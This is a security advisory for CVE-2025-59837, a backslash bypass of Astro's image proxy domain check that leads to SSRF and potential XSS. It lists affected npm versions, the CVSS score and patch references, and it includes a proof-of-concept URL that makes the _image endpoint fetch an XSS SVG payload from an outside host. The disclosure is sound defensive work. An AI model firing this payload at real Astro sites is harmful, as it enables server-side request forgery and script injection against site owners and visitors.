CVE-2025-59837
HIGH7.2EPSS 0.04%Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Published: 10/28/2025Modified: 10/29/2025
Also known as:GHSA-qcpr-679q-rhm2
Description
### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)
Affected packages (1)
- npm/astro>= 5.13.4, < 5.13.10
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.2 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
References (5)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2025-59837
- PATCHhttps://github.com/withastro/astro
- WEBhttps://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4
- WEBhttps://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252
- WEBhttps://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2